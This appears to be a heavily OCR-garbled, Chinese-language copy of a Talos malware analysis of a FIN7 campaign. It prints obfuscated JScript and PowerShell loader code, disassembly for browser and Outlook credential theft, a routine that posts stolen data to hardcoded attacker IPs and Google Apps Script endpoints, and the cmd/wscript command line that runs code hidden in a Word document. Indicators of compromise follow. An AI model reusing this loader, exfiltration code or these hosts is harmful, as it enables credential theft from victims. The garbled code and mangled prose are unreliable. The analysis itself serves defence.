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BREBLETTN:

function AW[AX)
1
tryd
var AY =
var AZ = AY,GetPilelAld);
var BA = AZ,OpenAsTextStreanm(l, @);

wvar BB = BA,ReadALL{);
BA.Closed);

return Bl;

cateh{BCH{

return

var B0 = %

var BE = [Tis tan () {iw
tryd
var BF = new ACt iveXDbject (Scripting. FileSystesdbject™];
var BG = niw ACtiveXObfect(™Wscript.Shell");
var BH = "{BFICOEFE=FOAD=ZERE=2C05=-CR4AC1CA4GER}™ ]
var BI = " {BCADFFOC-TOBA~-17ES-EEBT-FEDAFFRERLCEL}™:
war B] = "506T4e424Bdced. 23428764 . Tu1" )
var BK = BG.ExpandEnvironmentStrings{“SHOMEPATHR™) + “\\" =+ BH;
var AX = BE + "\\" + BJ;
var BL = "=
var BM = "=

it{BF.FileBnists (AX] ) {
BL = AM[AX];
BL = BL,toStrimgl(];
ifd BL.VLength = & ){
BY = BL.split{","];
for {war BO = &; BO < BN, length; B0s+) {
AX = BE + "W o+ BI = "0\ &+ BNIBOD;
if{BF,FileExists [AX] )]

BM = 'widript.exe SFB Sfefseript Ut o+ AN 4 UMY

BG.Run(BA, 8, Talse);
¥

i

KX = BE & "\ o4 BD:

var BF = BF.QpenTextFilelAX, 2, trus,d);

BF.Writel'");

BF.Closel);

}

} oelse {

'

}oatchi{BC }{}
#f . toStringl).sliced16,-41;

try {
TR
} catching) i
_ Bb[string, frosCharCode (181)0+" va®+ L 1 (DE];

# 6: TEFER GUID JS BIZEL

new ActiveXObject(*Scriptimg. FileSystendbject™];

[Jfuriction MIN)

war O =
war P o= B.GetPile(M);

wvar = P.OpenAsTextStream{l, @);
wor B = O.ReadAL1i];

0.0 osel )z

return A;

‘eatchiSh
return

==
L]

fon () {fe

new ActiveXObject (“Scripting.FileSystendbject™);
new ActiveXObject (“Wscript.Shell"];
“{4E484A4A-0BEE-B260-BTR4-AB51 TARAGELS )"

" {CTIC18BA-4091~4E23~10E5-2F438TEGBAAR}"
"E9EBanZAGESa3]. BTR2TSEL . tH1™)

<
=
=
FEE T X
T wwa

war AR = W.EnpandEnvirorsmentStrings|“SHOMEPATH&" ) + "\\" + X;

war M o= AR+ "W\ o+ Z;
war AR = "vg
war AC = "¥;

Af IV PileBxists (M)
Al = HIN};
Al = AB.toStringl);
ifl aB,length = @ 14
AD = AB.spliti"™,");
for [var AE = B; AE <« AD.length; AE+s] {
Moo= AR+ "WYY 4 P+ ADAE]D;
EfIV.FileExistsiNd )4
AC = ‘wicript.exe S/ Sleijscript ®' + N 4 MY
W.Run{AC, 8, fTalsel;
¥
b
H = AK & "%\ & T3
war AF = ¥W.0penTextFillelN,2, true, @)}
AF.Mritel"");
AF. Closel];

Featchish{}
) oteStringd).slice(l6,—4);

MG
 catchiS) {
TiString, froafharCode (181 )+ va '+ 1" {Ub;

new ActiveXObject(=Scripting.FileSystemdb]ect™]l;
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> var U = (function () {/x*
try{
console.log("I can't believe this actually works.");
}catch(BD){};
*/}).toString().slice(16,-4)
undefined
> eval(U)
I can't believe this actually works.
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readFilelp) tion readFile{p)
try try
war 5 = new ActiveR0bject(®Scripting.FileSystenlbject"); var % = new ActivedObject!"Scripting.FileSysteslbject™];
ar TEle = fe. 0etFileipl: var Tile = fa. GetFiledpl;
v ostreas = file.OpemAsTextStreanil, B8); var stream = Tile.OpenAsTextSureamil, &);
content = stream,Readabll); content = streas.ReadALl(];
stream. Closell; :-.r:al'l.li'l.lus:l]
return content; return gantent;
catchig)
return "y ]
pausecompinilliis) function powsecompinilils)
war date = mew Datedlp var date = new Datel)z
curbate = null; ir curbate = nullp
daod dof
curbate = new Dateld; curflate w mew Datel);
WEEript, Sleep(108] ; HSqr ipt S'l.np'!'l.ﬂl
while|curDate-date « sillish; whilelcurDate-date < millis);
gEtProxy(] f tlen getProaxyl)
ir WihShell = rew ActiwedObject{"wWSeript.Shell®); v WihEhell = new ActiveX0bject [“Wicript . Shell")z
try 4 v A
ir ProxyEnable = WshShell,RegRead(“HEEY_CURRINT _USERY S Sof tware' W Mic ir ProxyEnable = WshShell. RegRead| “HELY _CURSENT_USERY Sof tware'\Hi
rosof v\ WiAdowd Vi Cur rentVersior\\Internet Settings\\PraxyEnable"); e rogaltieindows\ WCurrentVers lany\Iaternet Settingi\\ProcyEnable®);
ETPrasyEnable == 1] iTiPraxyEnable == 1)
ProgyServer = WeshShell.RegRead ["HEEY _CURRENT_USERY\Sof twarei’, ir ProxyServer = WshShell. ﬁ:gﬂead('l—{F‘-‘ CURRENT _USER\\Sof twarel’
icrosofty\Windows) WCurrentVersiony \Internet Settings\\ProxyServer®); icrosofti\Windowsy \Current¥e rsionih Internet Settingsi\ProxyServer®);
return PraxyServer) eturn ProxyServer|
'

b ocatch (e) { atch )
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?unctim Get=Win3ITypes
SWin32Types Hew-Dbject System.Object

Spomain - [AppDomain] : :CurrentDomain

ShymamicAssesbly = Mew-Object Systes.Reflection,AssesblyMase( DynamicAssenbly’)

Shxsemblyiui Tder = S0omain. Definelynmami cidssenbly(ivnamicAssenbly, [System. Reflection. Emit. AssemblyBut Tderdccess] : :Run)
fModuleBuilder = fassemblyBuilder . DefineDynanicModule( DynamicModule’ , $false)

fConstructorInfo = [System. Runtime. InteropSeryices MarshalasAttribute] . GetConstructors () (0]

zaggsasgsans ENLM sRrsssssnsEs

FEnum MagicType

$TypeBui lder = $ModuleBuilder . Defineinual ‘MagicType”, "Public”, [UIntlE])
Typebuilder, Definelitera] (" IMAGE_NT_OPTIONAL_HORIZ_MAGIC', [UIntl6] Ox108) | OQut-Mull
ETypeluilder . Defineliteral " IMAGE_NT_OPTIONAL_HOREL_MAGIC® , [UInt18] Ox20b) | Out-Mull
fMagicType = STypeBuilder.CreateType()

SWini2Types | Add-Member -MemberType MoteProperty -Mame MagicType -Value $MagicType

Fgesragsaas STRUCT srasprassss

#5truct IMAGE_DATA_DIRECTORY

fattributes = "Autolayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit®
$TypeBuilder = PModuleBuilder . DefineTypel  TMAGE_DATA_DIRECTORY' , SAttributes, [Systes.ValueType], 8)
(ETypeBus Vder . DeFineFiald( "Virtuval Address’ | [UInt32], "Publac”)).SatdFfset (0} Durk-MNull

($Typeduilder . Definefield("Size", [UInt32], "Public")).Setdffset4) | Out-Null

SIMAGE_DATA_DIRECTORY = $TypeSuilder.CreateType()

WinilTypes | Add-Member -MemberType MoteProperty -Mame IMAGE_DATA_DIRECTORY -value SIMAGE_DATA_DIRECTORY

#otruct IMAGE_FILE_MEADER

Sattributes = 'Awtolayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit’
$TypeBui Tder = $Modulebui lder  DefineTypel  TMAGE_FILE_HEADER' , Sattributes, [System.ValueType], 20)
§Typebuilder . DefineField("Machine’, [UInt16], ‘Public’) | Ouk-Null

$Typebui lder . Definefield(’ NumberOfSections . [UInmtl6], ‘Public™) Out-Null

§TypeBui lder . DefineField( TimeDateStamp® , [UInt3Z], “Public') Out=%ull

§TypeBui lder . DefineField( PointerTaSymbo I Table' ., [UInt32], 'Public’) | Qut-Null

TypebBuilder . DefineField(  NumberOfSymbals ', [UInt32]. ‘"Public’) | Ouwt-HNull

$Typebuilder. Definefield(’ 5ize0fOptionalHeader’ , [UIntl6], ‘Public’) Ouk-Mull

$TypeBui lder . Definefigld( "Characteristics’, [UIntlg], "Public") | Out-Null

SIMAGE_FILE_HEADER = §TypeBuilder.CreateType()

IWini2Types | Add-Member -MemberType MoteProperty -Mame IMAGE_FILE_HEADER -Walue JIMAGE_FILE_HEADER

#5truct IMAGE OPTIONAL HEADERGS

Sattributes - ‘Autolayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit”®

$Typebui Tder PModylebut 1der , DefineTypel " TMAGE_OPTIOMNAL _HEADERGE® | fAttributes, [System, ValueType], 240)
(5 Typelut Tder . Definefield] "Magic”, MagicType, "Public’)). SetOffset(0) Out-%ull

(iTypedui lder . DefineField( "MajorLinkerVersion®, [Byte], “Public')).Setdffset(2) | Out-sull
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NEFBRERFERAR

KAIRZ /S 32 ii{ERY XOR, ADD #1 SUB FRFERFET L. 1ZHIAKREBAIBILERHEIZRF
DLL FHy2{EAThEE

push

sub
stosd
xor
stosd
add
ntosd
xor
stosd
sub
ntosd
xor
stond
add
stosd
xOr
stosd
sub
stosd
xor
stosd
add

stosd
xor
stosd
sub
stosd

& 14: Firefox T E RIS

SAHIIINEEEMITAE DLL MSHE (ERTITERERF

add
mov
add
mov
add
xor

& 15:

ndx,
edx,
edx,
abx,
ebx,
ecx,

PowerShell ;¥ \A DLL 83ThEERY PE Rz &

4

3000k

400k

o

offset VirtualAlloc
sax

oax
[ebp+lpBtring], eax
eAX, BAX
loc_l10003CAE
o 7 fCreate
1Ah i nFalder
[abp+lpBtring] : lpazPath
] hwndOwner
mtlmillfolhrht-hﬂ
SAX, BAX
mrr. lee_10003C9C

+ [ebp+lpBtring]

7 lp8tring

l.ll:rlnn'l
eax, 1
odi, eax
AKX, BAX

eax, OFFBIFFALL
eax, 370033k
aax, OFFFLIFFFAhR
sax, ODOOOSH
SAX,; 1BOOL1OhK
aax, J400315h
eax, OFFFIFFFCh
eax, 1EOOORK
sax, 280013k
eax, IFOOZER
aix, OFFFOFFFiL
eax, DCOOORNL

aAx, G4FFF9h

# ‘\Mozilla\Firefox\Profile

[adﬂm DOS_HEADER.e_lfanew] ; PE header offset
edx+IMAGE NT | HEADERS . ionalHeader.Exports.VirtualAddress
p

ebp

[nd:+1uli.ﬂl EXPORT DIRECTORY.AddressOfNames]

ebp
ecx

i

} add dereferenced offset to base address of module
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EEAs:

rol
xor
inc

cmp
inz

edx, 7
dl, [edi]
edi

byte ptr [edi],
short loc_1000215A

[E 16: PowerShell ;¥ N9 DLL EFIE %

% DLL X B & RN EIEGINTIEE, tLINBEXEFR URL #ITHTIAIE, £

xor
stosd
add
stosd
xor
stosd
sub
stosd
xor
stosd
lea
push
push
push
call
or
jnz
mov
lea
push
push
push
call
push
push
push
push
push
pop
call
mov
or

iz
push
pop
lea
push
push
push
call
mov

eax, 280020h
aax, OFFFE0O01Ch
aax, 15000Eh
eax, 3J4FFFCh

eax, 564A0065h

CryptUnprotectData f##% Intelliform ¥(#&:

j Boftware\Microsoft\Internet Explorer\IntelliForms\Btorage

eax, [ebpi+phkResult]

eax
[ebp+1pSubKey]
B0O0D0D0D01h
l‘ﬂoPiﬂiﬂiﬂ
aax,

loc lﬂﬂﬂlzﬂi

# phkResult
3 lpSubKey
j hEey

[ebp+dwFirstCacheEntryInfoBuffersize], 0
eax, [ebp+dwFirstCacheEntryInfoBufferSize]

eax
o
0

3} lpdwFirstCacheEntryInfoBufferSize
3 lpFirstCacheEntryInfo
} lpszUrlBearchPattern

FindFirstUrlCacheEntryA

4
3000k

[ebp+dwFirstCacheEntryInfoBufferSiza])

0
offset VirtualAlloc

aax
eax

[ebp+lpFirstCacheEntryInfo], eax

aax, aax
loc_10004288

[ebp+dwFirstCacheEntryInfoBufferSize]

dword ptr [eax]

eax, [ebptdwFirstCacheEntryInfoBufferSize]

i lpdwFirstCacheEntryInfoBufferSize

[nhp+1prirttCachu:ntryInfaj i lpFirstCacheEntrylnfo

3 lpszUrlBearchPattern

rindrirlturlcluh-lntrrl

[ebp+hEnumHandle

17: PowerShell 3 A\AJ DLL Intelliform RYEIESETh&E

I — IS IR B 2 57BN Outlook 0 Firefox #3BAITHEE, LA M Google Chrome.
Chromium LA Chromium 1 Opera Jl%Eg8MI 7 X P HEEREEMWINEE, XEFAET—
SiHE—ZiTIL.
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% HX Chrome. Chromium #1 Opera £1iE

£t%f Chrome, Chromium. Chromium 43 X %1 Opera i3l 52 28 B EUE S BN TN BE AT LAFT FF
[Database Path]\Login Data sqlite3 #{#&E, i%El URL. FﬁF‘%fﬂ—" BxE, HiER
CryptUnprotectData RfEZR P EE, ESEUTEREPERILBIEE: %APPDATAY%.
%PROGRAMDATA% #1 %LOCALAPPDATA% :

. \Google\Chrome\User Data\Default\Login Data

. \Chromium\User Data\Default\Login Data
. \MapleStudio\ChromePlus\User Data\Default\Login Data
. \YandexBrowse\User Data\Default\Login Data

. \Nichrom\User Data\Default\Login Data
. \Comodo\Dragon\User Data\Default\Login Data

B 9A Opera H3E Chromium M5 X, BE&#MANEIEANELTEE TESHERNXNS
I : \Opera Software\Opera Stable\Login Data

T 57 B EUE Y a5 < RO A AD

F%7 JavaScript EPREINEEZ N, WABIBIGHILEE] %APPDATA%\%USERNAME %.ini,
#4ui#%@@ﬁ@uﬁﬁnﬁhNMﬂEﬁ@o@ﬁﬁﬁﬁSmmimwm oR Bt TIEENAR
mE, BEREBIRALIER, XR— MRS IREERY:

function SimpleEncrypt(a){
var str = b64enc(a);
var chrArr = str.split('');
var pos = -1;
var resultArray = [];
for (var 1 =0; i < chrArr.length; i++) 1
pos = alfIn.index0f(chrArriil);

if( pos != -1 ){
resultArray.push( alfOut.charAt(pos) );
relsed

resultArray.push( chrArrli] );
}

}
return resultArray.join("");

}
18: BOMRHMBSREDIN
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RiE, WEBRMASRHE POST 2@ 4mISaY 4 SFEHMIL, B4E Google NiZMIAIEERR
% (BMNTEEET alfin TEFMH, ERATEREBNFER) -

var p = fldr + "\\" + jsLoaderPS1;

VAF VEBFS = "1
war uuid = "1%;
var com_pref = “eugenegardend?12™;
war batSufx = "_kKnaIMNA4gZ01";
var kkid = "154";
var alfIn = “ABCDEFGHIJKLMMOPORSTUWWXYZabcdefghljklmnopgrstuvenyz®1 23456789
var alflut = “7IRIZY¥gMaBtLACKC)4xeovHBDNGLFkSPibEVy fUdduEwplagWls 356mKhXTEraz"
var sepr = "SSEPR%";
var botId = culd() + botSufx;:
botId = wers + "-" + wuid + "-" + com_pref + “-" + botld;
var urlArr = [];
urlArr[B] = "http:/f/184,.232,.34,36: B@/cd™;
urlArr(1] = “http:S /104, 232,34, 36:443/cd" ;
urlAre[2] = "http:/ /104, 232,34, 36: BOBR/ cd™;
urlArr[3] = “https:/fscript.google.com/macros/s/AKTychbzbdmM]) fCPwFchogbWklsMjQu225ITI9pxMledRTbCpal hiGBg2 fexec™;

pausecompl 2 = 6B = 1388 );

var f = fso.0penTextFilel(p,2.1);
f.Writel bEddeciPS1Body) );
f.Closel);

cnd = powershell_pthpathéd + ' -version 2.8 -NoP -MNonl -ExecutionPolicy Bypass -WindowStyle Hidden -File =" + p +
sh.Run{cmd, @, false);

pausecanpi 5 = 6@ = 18008 );
tryl fse.DeleteFilelp, true); }catchie){}

var usrName = sh,ExpandEnvironmentStrings("SUSERNAMEY" ) ;
p = sh,ExpandEnvironmnentStrings ("wAPPDATAN") + "\\" + usrName + “.ini";
var outbata = readFilelp);

tryl fso.DeleteFilelp, true); }catchiel{}
var contentsHiml = “*;

putDats = bEdencioutData);

outData = “stels” + sepr + outDataj

var entry = randomParaaMamel);

var v = ancodeURI{SimpleEncrypt (outDatal)

contentsHtml = downLoadUrl{"POST™, urlArr, randomUrli{botId), entry + “=" = w);
fso.DeleteFile(WScript.ScriptFullName, trus):

leatehie) {}
w/l).toSeringl).slice(16,-4);
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X RERRERERRAR A
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H @427 AMP F Threat Grid = &5 ZLIR I B AHaIIERIERE, FAENTRLIEE ER
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AMP Threat Grid

FEHEXRFHRANR OLE 3%, Threat Grid gia] LA EFE RSB RETENTEEE
B, #XANIIEER Threat Grid BaifEEl, EXMIFAT, BRAR LNK OLE MR B & =TT
PUTHEIVEEM S 2!

Document Contains an Embedded Shorteut File With Command Prompt Reference Severity: 100 Confidence: 80 A
A document was found with an embedded shortcut (LNK) file. In additin, this shortcut fila Categories compound ® Fopart emor
references the windows command prompt, which is commanly used 1o sxecute additional Togs Ink, shordcut,
commands, embedded,

oompoung
Artifact ID SHAZSE Path Lnk SHAZSE Lok Command Lina
] rf & 5T 1d43d30ealath?908boted  alfb0751583ab0ba0BSCO0ATOEA2 /O sat x=wacirpt fe:jsoript 3HO
0eb488ccAIZT RIS 1508aThedE  S0a4P0fdBoban2seel 105011085 MEPATH\MAS txt & cho try{w=G
edaad il & albdag abObject™", "War"+" dApplication™);t

his[String.fromCharCoded101)+'v
a'+' T ActveDocument. Shapes(1).
TaxtFrama. TaxtRange. Taxi): jcatchia)
[ »¥HOMEPATH ¥ \md5.1xd & ech
o W @=jomd

20: 37#4 LNK s SRR fFRiSE

Documant Containg an Embadded Shortcut Fila With Documant Referance

A dooument was found with an embedded shortowt (LNK) fila, in addition, this shortout file Categories compound o Reper aeror
rederences active document objects, which is commonly used o execule sbored code within a Tags Ik shorout,
dacument. embedded,
compound
Artitact 1D SHAZSE Path Lnk SHAZS6 Lnk Command Line
2 ol & BdSTEIN 1d43d3asadash2908boted  aldb007S19830b50alE5cHdBTCEE2 /O sot x=wsclript fojeBoript %HO
Dab49BecEI2T2I225M15d8aThed6  S0a3820dGchbaa?3donl 16501 1285  MEPATH % \wmdS txt & acho try[w=G
edasd il albd3a el0bject(" ", "Wor™+"d.Agplication it

hisjString. fromCharCodae{ 101 )+'v
'+ I’ iw.ActiveDocumant. Shapas(1).
TowtFram, Teot Aarge, Toxd]; jeatchis)
{F: >»HHOMEPATHMmias it & ach
o Hecl=jcmd

21: FEEICK LNK &S BN
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£ Threat Grid :Z1THAE], FTLUER “FTF Word S HEIERAXNR” FMEEP AT
OLE W&, HEMNMNERZRTREEFEREFN.FRZE, EXRTE Threat Grid IB1THAE BB
TTIZERAIT R :

Choose playbook « None
Conduct Active Window Change
Default Playbook
Dialogue OK

Open Embedded Object in Word Document

Visit Website Using Internet Explorer
Callback URL 1 mprryvurservervonrcansacsrart

L'F.

B 22: MR3ZEEAPIEFEFM
UTZXTXMENRFARZERRAR:

----- 7 BoE W T oama K, X - LT N T O OEm | ST AT - | W MOOEE ] MO0 SpAC, MEImNG L FEAmng &
v
1t

Fort . Esra@rap g Shle w | Editmg

PROTECTED DOCUMENT
This document 15 protecied by Mioosolt Office and reguires buman venfication
Fhasse Enable Editing and Doubda Chok be'ow [0 prowva that you &8 not & robot
;g
[
1 r
[ ]
I ]
r
_-*"‘--.-“;

Double Click Here
To Unlock Contents

CAN'T VIEW? FOLLOW THE STEPS BELOW.
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BNRETiaXEZE, REETIHHHTAMEAEMITAER:

Office Document Launches a Command Shell

An Office document file was cbserved triggering a sequence of steps to launch a Categories evasion
‘Windows shall. This technigue commonty seen among phishing attacks, though Tags obfuscation,
& system administrator might wse it to guide installation of new software. A dropper,
macro inside the documeant is wsad to launch a command shell cutside of Offica, seript,
which allows it greater abilities on the system. Attackers may wse this to phishing
astablish a foothekd on the victim's systenm.

Process ID  Command Line

20 "ChWindows\Systerm32iemd.axa” /G set x=wsc@ript jejsBeripl \Wsers\adminstratormds. o & echo try(w=GelDbject("","Wa
r+"d_Application”);this[String. fromCharCode(101)+ va' +'I'w.ActiveDocument Shapes(1). TextFrame, TextRange. Text); jcatchie)();
=\Users\administratormds.tet & echo Hcl=%|cmd

24: i OLE MR IIENBISERD
HNMBATUMEZESME (B JavaScript BF RSB T EEMITELE) -

Schtasks Utility Used to Create Task Severty: 80 Confidence: 80 A
SChtEake CAN Chsite OMe-1ema only 183KE, RcLrming 188Ks, Gnd tEsks thal run Dabed of SBCISS yaiam Categaries wianing # Papor! e
avents, such s logon and stanup. Tags rogisiry, system, sysiem

modiication, autann

Process ID Process Mama Command Line
| FChnaks aon "Cvwirdows\Systam3Zischiaske.axn” ACreate JF /TN “(DCCA2ASC-FE24-2843-3E

OF-FRAIOFAFFTC)" HMMIL WiseraAdministrabor [4E4 BabiLi. 0585 B- B280 -8 784-0
B61748A8E1 5500082 8508078 13800 720.0mi

[ 25: fESBIEBZSER

EHIAITHY JavaScript AERAI A “TH” BoEER, MARUTHHERRXIZAR, U
Bit—S 24 :

Artdact 24 2 \UsardAdministraton [SE4EA8L8-0868-B250-B784-085 1 T4BASE 1 505 Modified by Process 24 (ascrpl.exa) Downioad
BEaaZaselibe, FE1 12967, 0a
Source: dsk Imports: 0 Typa: TXT - ASCH faxt, with very SHASRE: Tochbchlodtiadel bBeini Besdddny?, , Pesubmit
long lires
Sape: 3671 Exports: 0 AV Bigae 0 MDS: (BES54TE0ebITIOMRA0ME022bODEEST
Path Lisersciministratos (4 E4B4A40, 0858 -B260- BT 84-0B61 TAHASE15) SHAT1 TR-SIScEa0a3ITRIAGE 1 albS6casEDTIAI00AD:
\SpiHanlBaaRitd, 761 17987 bt [ Craated ot +396.0s
Mime typs text/plain; charsetsus-ascil Modified by Prooess 24 (Wacript. Exe)
Maglc type ASCII text, with wery long lines Raad by Procsss 26 Wacripl Exe)

E 26: SAHKY JavaScript THXTHR
RE, BIEXEFERERE AMP =9, RIFFAEER, FHEGERUKRTHENKE.
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T [E22im A AMP

H[E22 iR AMP AIEE ZMG AR NTSED . HF—MAERERRGSITESH, R
BHLZEE AMP m#ITHM. ARXMIBRAT, HEBUE ST OLE IR IG wscript.exe

HIHAI TR :
Aug 3
16:54 1655 1706
cmd.exe |PE]

wscript.exe [PE]
explorer.exe [PE]

Benign disposition.

Benign parent disposition.

File full path: c:\windows\system32\cmd.exe

File SHA-1: eeBcbf12dB7c4d388f009b4f69bed2e91682920b5.

File MD5: ad7b%c14083052bc532fba5s348342b98,

File size: 302592 bytes.

Parent file SHA-1: 89a175a12bc20104770d0ef83e553f8b0e06274b.
Parent file MD5: 40d4777b7a952005932b 1568668514493,

Parent file size: 2616320 bytes.

Command line

\CWD_

G:D C:\Windows\System32\cmd.exe /C set

x=wsclript /e:jsfcript RUBEra-nuitht &

echo

try{w=GetObject( ,Wor+d.Application):this[String.fr

omCharCode(101)+'va'+'1"]

(w.ActiveDocument.Shapes(l).TextFrame.TextRange.Te
xt);}ocatchie){}; :"'-.Userﬂ_mdﬁ.txt & echo

x:0=% | cmd

B 27: AMP FERIGSITEY, BTONEREENE
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XA T —UURRHERR, RRIATAT LI — A E B

660

2017-09-07 22:37:07 UTC

OpenlOC: W32 .WscriptActiveDocument.ioc

Description: The Windows Scripting Host (wscript.exe) was
launched with parameters referencing ActiveDocument objects.
This is indicative of an infection vector technique that reads
from an actively opened document for additional code to
execute.

Command Line Arguments: C:\Windows\System32\cmd.exe /C
set x=wsc@ript /e:;js@cript \Users | md5.txt & echo
try{w=GetObject(,Wor+d.Application);this[String.fromCharCode(
101)+'va'+'l']
(w.ActiveDocument.Shapes(1).TextFrame.TextRange.Text); }catc
h(e){}; >\Users | md5.txt & echo %x:@=% | cmd

At 22:37:06, Thu Sep 7 2017 UTC
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FIN7 HLEXNHERASRBERAR, JIZITEIHERKZE Microsoft Windows hig A< #Y
EGRANTEZEL RS, iR ER Microsoft Word RS RE B NESRHETES,
A AFI B BIAIE S Ski%19) ActiveX 124, MRJLAER PowerShell @i “EXXH” HIFEE
A BEAHITUEEANBAGFES, XEABETHITCESIELEREMEE ., Byt
JavaScript (KRG TR LS, HRITEZIT FIN7 BARMABEHREZ BHANER], mMA
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YaEin
Talos %% T LU Snort N SRARZRIX—Eibh. & T2, Talos KKRATRELAHELZHN],
BN SIRIERKSINEZEEMEAT E Firepower 2 PN E#H SRU, {FHHSHBIM

MEEH. FFIE Snort BRMMERZAATLUEET TE&HHAMME (I Snort.org LML)
RIERIRIPINEE.

Snort #M: 44430-44433

ATFIH T AT Z PRI UG A PR LE X M B Y LA 75 =X

B R £

S

Threat Gnd

SREEIERIP (AMP) #R A BRI AB M LM TR & & (F AT ERG.
CWS g WSA Web 133 IThEERT AR IE i I0 B = MY, H40M)iX L a5 o B B R = AR .
2 2 Z AU ESE N A REERTEIP L B AEERE.

W& 2 4% (a0 NGFW,. NGIPS #1 Meraki MX) B LU 5 1tk BB S 0 E =555
AMP Threat Grid AT ENRBIEEZ#HEIXH, FREERZ2~REENERIPEIE.
Umbrella, 1MW ZEEEHEMM X (SIG), AIEIEAAERETESE. IP 1 URL (KitAF2
BT ABIME L)

RSP T
JavaScript EFPRFE

6bc8770206c5f2bb4079f7583615adeb4076f2e2d0c655fbafedd9669dc3a213
df22408833b2ae58f0d3e2fe87581be31972ef56e0ebfSefafc4e6e0341b5521
2b4991b2a2792436b50404dcf6310ef2af2573505810ebac08e32f17aee3fbbe
ebcab565e21a42300e19f250f84b927fa3b32debf3fe13003a4aa5b71ed5cbee9d
6604d806eb68fdf914dfb6bbfo07a4f2bd9b8757fc4dade7c5e4de141b8d4e2¢c


https://www.snort.org/products
https://www.cisco.com/c/en/us/products/security/advanced-malware-protection
https://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html
https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/email-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/firewalls/index.html
https://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html
https://meraki.cisco.com/products/appliances
https://www.cisco.com/c/en/us/solutions/enterprise-networks/amp-threat-grid/index.html
https://umbrella.cisco.com/
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&£ A PowerShell DLL ;£ A\BY JavaScript {E P iw&E 3

91f028b1ade885bae2e0c6c3be2f3c3dc692830b45d4cf1a070a0bd 15911676
ad578311d43d3aeal3a5b2908bc6e408b499¢cc832723225ff915d9a7bc36e0aad
fadb57aa7a82dbcb2e40c034f52096b63801efc040dd8559a4b8fc873bc962a1
91f028b1ade885bae2e0c6c3be2f3¢c3dc692830b45d4cf1a070a0bd 159111676
74a5471c3aab6f9ce0c806e85929c2816ac39082f7fea8dbe8e4e98e986d4be78
f73c7ed3765fec13ffd79aef97de519cfbd6a332e81b8a247fe7d1ccb1946¢9c

g 2 FAEEH] 1P

104[.]232[.]34[.]36
5[.]149[.]1253[.]126
185[.]180[.]197[.]20
195[.]54[.]162[.]79
31[.]148[.]219[.]18

Google R A #p < FEH URL

hXXps://script[.]google[.Jcom/macros/s/AKfycbxvGGF-
QBkaNIWCBFgjohBtkmyfyRpvm91yCGEvzgDvAJdqfW8 /exec
hXXps://script[.]google[.Jcom/macros/s/AKfycbz6dmNJfCPwFchoq6WkJsMjQu22SJTJ9pxM
UeQR7bCpmJhW6Bg2/exec

hXXps://script[.]google[.Jcom/macros/s/AKfycbwkNc-
8rk0caDWO514KMymvOXVinfOpR1eevZ63xiXDvcoqOE6Gp/exec
hXXps://script[.]google[.Jcom/macros/s/AKfycbxyilBWISHUFV4S5JM6IW-
dmVADFOrTJDM7bZspeBf2Kpf4INO/exec
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